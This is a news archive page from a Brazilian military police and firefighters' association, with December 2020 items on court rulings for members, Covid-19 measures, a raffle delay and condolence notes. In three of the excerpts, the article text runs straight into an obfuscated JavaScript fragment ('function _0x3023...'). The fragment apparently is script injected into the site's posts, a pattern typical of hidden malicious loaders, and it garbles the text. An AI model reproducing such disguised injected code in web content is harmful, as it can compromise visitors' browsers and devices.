dezembro 2020 – ACS PMBM MS

dez232020 by Assessoria de Imprensa da ACSNo Comments

Jurídico da ACS consegue na Justiça que associada seja reenquadrada de nível

Notícias

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu na Justiça que uma associada fosse reenquadrada de nível. A policial, atualmente 2º Tenente QOPM da Polícia Militar, ingressou como aluna-soldado no ano de 2008, sendo promovida através de concurso público a categoria de aluna-oficial PM em abril de 2014. Portanto, conforme decisão da Justiça, ela detém o direito ao quinquênio de exercício de função, bem como a diferença salarial que recebera a menor quando da assunção ao posto atual. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}fun...

dez222020 by Assessoria de Imprensa da ACSNo Comments

Justiça reconhece direito, e sócios receberão diferença por atraso em processo de aposentadoria

Notícias

Após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) – Regional de Ponta Porã, o Juizado especial da Fazenda Púbica de Campo Grande reconheceu o direito de dois sócios em ações de cobrança ordinária por atraso na aposentadoria. Concluiu-se que houve omissão do Poder Público, que, injustificadamente, retardou o andamento do processo administrativo que visava a concessão da aposentadoria dos autores, resultando em um demasiado excesso de tempo no tramite para conclusão de seus pedidos, justificando o acolhimento de sua pretensão. Assessoria de Imprensa da ACS -- ACS: Gestão presente, solidária e participativa function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x302...

dez172020 by Assessoria de Imprensa da ACSNo Comments

Covid-19: ACS fecha salão de festas, e Clube funcionará somente aos sábados e domingos

Destaques, Notícias

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) informa que, por conta do aumento do número de casos de Covid-19 em Campo Grande, o salão de festas do Clube de Campo estará fechado por tempo indeterminado. Já as piscinas e demais dependências funcionarão somente aos sábados e domingos. As medidas visam combater a disseminação do novo Coronavírus, já que boa parte dos frequentadores do local estão em algum dos grupos de risco. Segundo o presidente da entidade, cabo Mario Sérgio Couto, por conta das medidas de biossegurança, o limite do clube será de 120 pessoas. Sócios e dependentes não pagam, enquanto familiares e convidados pagam R$ 10 para entrar. Na entrada, o sócio deverá higienizar as mãos, além de aferir a temperatura. Já nas ...

dez172020 by Assessoria de Imprensa da ACSNo Comments

Justiça manda Estado pagar diferença de atualização de licença prêmio a associado

Notícias

O TJMS (Tribunal de Justiça de Mato Grosso do Sul) confirmou a decisão de primeira instância que havia determinado ao Estado o pagamento de diferença de atualização de licença prêmio de um associado. A defesa do policial militar foi feita pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). O autor teve sua licença prêmio paga parceladamente pelo Estado, porém, sem as devidas correções em cada parcela. Ele, então, entrou com pedido de pagamento dessas diferenças de atualização. Em primeiro grau, o processo foi julgado procedente, tendo o Estado recorrido da decisão. Agora, o TJ, de maneira unânime, entendeu que a sentença está correta. Jeozadaque Garcia Assessoria de Imprensa da ACS -- ACS: Gestão presente,...

dez172020 by Assessoria de Imprensa da ACSNo Comments

Sócio receberá de acordo com nível VII após atuação do Jurídico da ACS

Ação ACS, Notícias

Após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), o Juizado especial da Fazenda Púbica de Campo Grande reconheceu o direito ao recebimento salarial tabela Nível VII a um associado. Após instituição dos subsídios dos militares estaduais em seis níveis, o Executivo alterou a legislação e criou o nível VII na tabela horizontal do vencimento. Ocorre que o Governo do Estado se recusava a pagar o nível VII aos militares estaduais que já tinham sido encaminhados para a reserva remunerada, criando um verdadeiro processo discriminatório entre militares da reserva e da ativa. A Justiça, porém, já vem ao longo dos anos reconhecendo que não se pode criar distinção entre os militares da ativa e da reserva, poi...

dez152020 by Assessoria de Imprensa da ACSNo Comments

NOTA DE REPÚDIO – Juiz de Direito Dr. Marcus Vinícius de Oliveira Elias

Notícias

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vem a público repudiar, de maneira veemente, a decisão do Juiz de Direito em substituição da 3ª Vara Criminal de Dourados, Dr. Marcus Vinícius de Oliveira Elias, que determinou à Polícia Militar que reassuma segurança externa da PED (Penitenciária Estadual de Dourados). Tal decisão, além de contrariar frontalmente artigos dispostos na Constituição Federal, prejudica a comunidade de Dourados, que, não bastasse o baixo efetivo de policiais militares, ainda enfrenta um aumento na criminalidade naquela região. O Art. 144 da nossa Carta Magna, com redação dada pela Emenda Constitucional nº 104/2019, é explícito: “Às polícias penais, vinculadas ao órgão administrador do sistema penal da unida...

dez152020 by Assessoria de Imprensa da ACSNo Comments

Por conta da pandemia, ACS prorroga data do sorteio da Rifa “Ação Entre Amigos”

Destaques, Notícias

Por conta da pandemia do novo Coronavírus, que obrigou estados e municípios a decretarem estado de calamidade pública no mês de março, a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) prorrogou, para o dia 24 de abril de 2021, a data do sorteio da Rifa “Ação Entre Amigos”. A decisão foi tomada em reunião da Diretoria Executiva no último mês. Por conta da disseminação do vírus, não foram vendidos os cupons necessários para a realização do sorteio, bem como não há possibilidade de venda dentro do prazo previsto para a realização do evento. A decisão já foi publicada em Diário Oficial e em jornal de grande circulação. O contratado para efetuar os sorteios ficou encarregado de informar a mudança de data aos participantes que já adquiriram...

dez152020 by Assessoria de Imprensa da ACS1 Comment

ACS reúne diretoria para discutir proposta do Código de Ética

Ação ACS, Notícias

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) reuniu, nesta segunda-feira (14), seus diretores regionais juntamente com sua diretoria Executiva para, por meio de vídeo conferência, discutir a proposta do Código de Ética e Disciplina dos militares estaduais. Segundo o presidente da entidade, cabo Mario Sérgio Couto, o diretor jurídico da entidade, após prévio estudo sobre a proposta, apontou uma série de pontos que, no entendimento da ACS, poderão ser alterados ou, até mesmo, suprimidos da proposta que deverá ser enviada para apreciação do Governador. “Entendemos que há alguns pontos que podem ser alterados, de modo que os militares, em especial os praças, não venham a ser prejudicados com a nova norma”, disse Couto. Nesta quarta...

dez132020 by Assessoria de Imprensa da ACSNo Comments

NOTA DE PESAR – ST PM Donizete Domingos Martins

Notícias

É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) informa o falecimento do ST PM Donizete Domingos Martins, ocorrido neste domingo (13). O militar, mais uma vítima da Covid-19, ingressou nas fileiras da Polícia Militar em 01 de outubro de 1983 e atuou em unidades como CIPMGDAE, vindo a ser transferido para a reserva remunerada a pedido em 10 de fevereiro de 2009. Rogamos a Deus para que conforte seus amigos e familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d...

dez112020 by Assessoria de Imprensa da ACSNo Comments

ACS entrega kit’s natalinos na Região de Corumbá

Ação ACS, Notícias

Como forma de prevenir contra o avanço do novo Coronavírus e homenagear os sócios da região de Corumbá, o diretor regional da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), Victor Hugo Nogueira juntamente com sua diretoria e sócios, decidiram em reunião pelo cancelamento da tradicional festa de fim de ano, substituindo o ato por entrega de kit's natalinos a todos os associados e pensionistas da regional. O kit é composto de comidas e bebidas típicas do período natalino, além de uma garrafa e um chaveiro com o brasão da entidade, e pode ser retirado na sede da regional por todos os seus sócios a partir de terça-feira (15). Aqueles sócios e pensionistas que por motivo de saúde acharem por bem não se dirigirem até a sede da regional, para...